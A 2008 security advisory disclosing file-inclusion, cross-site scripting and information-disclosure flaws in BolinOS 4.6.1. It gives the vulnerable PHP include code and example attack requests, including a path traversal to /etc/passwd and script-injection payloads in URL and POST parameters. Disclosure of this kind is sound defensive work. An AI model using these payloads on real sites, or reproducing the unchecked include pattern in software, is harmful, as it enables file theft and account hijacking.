Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-022


Application:                    BolinOS 
Versions Affected:              4.6.1
Vendor URL:                     http://www.bolinos.com
Bugs:                           Local File Include,Multiple XSS,  System information disclosure
Exploits:                       YES
Reported:                       13.03.2008
Second report:                  18.03.2008
Vendor response:                none
Solution:                       none    
Date of Public Advisory:        25.03.2008
Authors:                        Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

BolinOS system has multiple security vulnerabilities:

1. Local File Include
2. Multiple Linked XSS vulnerabilities
3. Multiple XSS in POST
4. System information disclosure



Details
*******

1. Local File Include vulnerability found in system/_b/contentFiles/gbincluder.php


Code
****
#################################################

$actionpagetoinclude=$_GET["_bFileToInclude"];
if($actionpagetoinclude!="" && @file_exists(gBRootPath."/$actionpagetoinclude")){
   @include(gBRootPath."/$actionpagetoinclude");
   }   
else{
   echo "NO FILE";
  }

#################################################

Example:

http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFileToInclude=../../../../../../../../../../../../../etc/passwd

---------------------------------------------------------------------


2. Multiple linked XSS vulnerabilities found. 

2.1 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBImageViewer.php 

Attacker can inject XSS in GET parameter "url"

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImageViewer.php?url=<script>alert('DSecRG XSS')</script>


2.2 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBselectorContents.php 

Attacker can inject XSS in GET parameter "ForEditor".

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselectorContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG XSS')">


2.3 Linked XSS vulnerabilities found in following pages:

/system/actionspages/_b/contentFiles/gBLoginPage.php
/system/actionspages/_b/contentFiles/gBPassword.php

Attacker can inject XSS script in URL

Example:

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLoginPage.php/"><script>alert('DSecRG XSS')</script>
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassword.php/"><script>alert('DSecRG XSS')</script>

---------------------------------------------------------------------


3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST parameter.

3.1 Vulnerability found in script /system/actionspages/_b/contentFiles/gBLoginPage.php 

POST parameter "formlogin".

Example:

POST /bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bolinos.sessions HTTP/1.0
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)

formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&BtLogin.x=


3.2 Vulnerability found in page /help/index.php 

POST parameter "bolini_searchengine46Search".

Example:

bolini_searchengine46Search = '><IMG SRC=javascript:alert("DSecRG&#x20;XSS")>

--------------------------------------------------------------------


4. System information disclosure

Non-authentication user can access phpinfo() page.

http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpInfo.php



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)